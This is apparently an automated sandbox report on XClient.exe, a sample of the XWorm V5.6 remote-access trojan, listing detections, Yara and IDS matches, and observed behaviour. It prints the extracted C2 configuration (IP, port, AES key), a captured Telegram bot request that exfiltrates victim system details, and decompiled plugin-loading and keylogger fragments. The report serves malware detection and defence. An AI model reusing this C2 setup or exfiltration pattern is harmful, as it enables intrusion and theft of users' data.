Edit tour

Windows Analysis Report
XClient.exe

Overview

General Information

Sample name:	XClient.exe
Analysis ID:	1582524
MD5:	ca1b3f03551f41b8c83217c3af2b0d3c
SHA1:	7cebd14139aad3b194080a7210c78a6587de1de5
SHA256:	e62ef733237ababe82f6b2109c70159744994515bc941b8ed025de10bb8aa624
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Telegram RAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to log keystrokes (.Net Source)

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64_ra

XClient.exe (PID: 6524 cmdline: "C:\Users\user\Desktop\XClient.exe" MD5: CA1B3F03551F41B8C83217C3AF2B0D3C)

XClient.exe (PID: 4992 cmdline: "C:\Users\user\Desktop\XClient.exe" MD5: CA1B3F03551F41B8C83217C3AF2B0D3C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["144.48.105.119"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
XClient.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
XClient.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
XClient.exe	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x6e76:$str01: $VB$Local_Port 0x6e67:$str02: $VB$Local_Host 0x70d3:$str03: get_Jpeg 0x6b52:$str04: get_ServicePack 0x7ef7:$str05: Select * from AntivirusProduct 0x80f5:$str06: PCRestart 0x8109:$str07: shutdown.exe /f /r /t 0 0x81bb:$str08: StopReport 0x8191:$str09: StopDDos 0x8287:$str10: sendPlugin 0x8425:$str12: -ExecutionPolicy Bypass -File " 0x854e:$str13: Content-length: 5235
XClient.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x88d7:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8974:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8a89:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8469:$cnc4: POST / HTTP/1.1

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_XWorm_1	Yara detected XWorm	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1140164033.00000000009B2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000000.1140164033.00000000009B2000.00000002.00000001.01000000.00000003.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x86d7:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8774:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8889:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8269:$cnc4: POST / HTTP/1.1
Process Memory Space: XClient.exe PID: 6524	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: XClient.exe PID: 6524	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.XClient.exe.9b0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.XClient.exe.9b0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.XClient.exe.9b0000.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x6e76:$str01: $VB$Local_Port 0x6e67:$str02: $VB$Local_Host 0x70d3:$str03: get_Jpeg 0x6b52:$str04: get_ServicePack 0x7ef7:$str05: Select * from AntivirusProduct 0x80f5:$str06: PCRestart 0x8109:$str07: shutdown.exe /f /r /t 0 0x81bb:$str08: StopReport 0x8191:$str09: StopDDos 0x8287:$str10: sendPlugin 0x8425:$str12: -ExecutionPolicy Bypass -File " 0x854e:$str13: Content-length: 5235
0.0.XClient.exe.9b0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x88d7:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8974:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8a89:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8469:$cnc4: POST / HTTP/1.1

Suricata Signatures

ETPRO MALWARE Win32/XWorm Checkin via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:13:41.777567+0100	2853685	1	A Network Trojan was detected	192.168.2.16	49702	149.154.167.220	443	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:14:59.749315+0100	2855924	1	Malware Command and Control Activity Detected	192.168.2.16	49733	144.48.105.119	7000	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:13:41.777567+0100	1810007	1	Potentially Bad Traffic	192.168.2.16	49702	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: XClient.exe

Avira: detected

Found malware configuration

Source: XClient.exe

Malware Configuration Extractor: Xworm {"C2 url": ["144.48.105.119"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for submitted file

Source: XClient.exe

ReversingLabs: Detection: 76%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: XClient.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: XClient.exe	String decryptor: 144.48.105.119
Source: XClient.exe	String decryptor: 7000
Source: XClient.exe	String decryptor: <123456789>
Source: XClient.exe	String decryptor: <Xwormmm>
Source: XClient.exe	String decryptor: XWorm V5.6
Source: XClient.exe	String decryptor: USB.exe

Source: XClient.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49702 version: TLS 1.2

Source: XClient.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.16:49733 -> 144.48.105.119:7000
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.16:49702 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.16:49702 -> 149.154.167.220:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 144.48.105.119

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: XClient.exe, type: SAMPLE
Source: Yara match	File source: 0.0.XClient.exe.9b0000.0.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.16:49703 -> 144.48.105.119:7000

Source: global traffic

HTTP traffic detected: GET /botYour_Token/sendMessage?chat_id=6170564111&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A7711B137F8E174C9CF15%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20ZLSGWO%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

ASN Name: DEDICATEDUS DEDICATEDUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119
Source: unknown	TCP traffic detected without corresponding DNS query: 144.48.105.119

Source: global traffic

DNS traffic detected: DNS query: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 30 Dec 2024 19:13:41 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: XClient.exe, 00000000.00000002.2402286197.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: XClient.exe	String found in binary or memory: https://api.telegram.org/bot

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49702 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: XClient.exe, XLogger.cs

.Net Code: KeyboardLayout

Source: C:\Users\user\Desktop\XClient.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: XClient.exe, type: SAMPLE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: XClient.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.XClient.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.0.XClient.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.1140164033.00000000009B2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\XClient.exe

Process Stats: CPU usage > 24%

Source: XClient.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: XClient.exe, type: SAMPLE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: XClient.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.XClient.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.0.XClient.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.1140164033.00000000009B2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: XClient.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: XClient.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: XClient.exe, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: XClient.exe, Settings.cs

Base64 encoded string: 'RyFdRXkpkSJGrZcI9Q/RAGUnv1WiHRoheOtS1xRCYyK4xl0FuCqakUfuj2o0HJW9', 'Ht531Lbiy/LKaeaEpNz/9rwnuEpc30YxRsPKnaINdlBP/nlOe2qifWCQwczHiGKD'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/0@1/2

Source: C:\Users\user\Desktop\XClient.exe	Mutant created: \Sessions\1\BaseNamedObjects\uaKK8Ao8mnFguQUo
Source: C:\Users\user\Desktop\XClient.exe	Mutant created: NULL

Source: XClient.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: XClient.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\XClient.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: XClient.exe

ReversingLabs: Detection: 76%

Source: unknown	Process created: C:\Users\user\Desktop\XClient.exe "C:\Users\user\Desktop\XClient.exe"
Source: unknown	Process created: C:\Users\user\Desktop\XClient.exe "C:\Users\user\Desktop\XClient.exe"

Source: C:\Users\user\Desktop\XClient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: XClient.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: XClient.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: XClient.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XClient.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: XClient.exe, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: XClient.exe, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: XClient.exe, Messages.cs	.Net Code: Memory

Source: C:\Users\user\Desktop\XClient.exe	Code function: 0_2_00007FFEC82A9A3D push ebx; iretd	0_2_00007FFEC82A9A4A
Source: C:\Users\user\Desktop\XClient.exe	Code function: 0_2_00007FFEC82A2E37 push ebx; retf	0_2_00007FFEC82A2E3A
Source: C:\Users\user\Desktop\XClient.exe	Code function: 0_2_00007FFEC82A0600 push ebx; retf	0_2_00007FFEC82A060A
Source: C:\Users\user\Desktop\XClient.exe	Code function: 0_2_00007FFEC82A06DA push ebx; retf	0_2_00007FFEC82A06EA
Source: C:\Users\user\Desktop\XClient.exe	Code function: 12_2_00007FFEC82A06DA push ebx; retf	12_2_00007FFEC82A06EA
Source: C:\Users\user\Desktop\XClient.exe	Code function: 12_2_00007FFEC82A0600 push ebx; retf	12_2_00007FFEC82A060A

Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
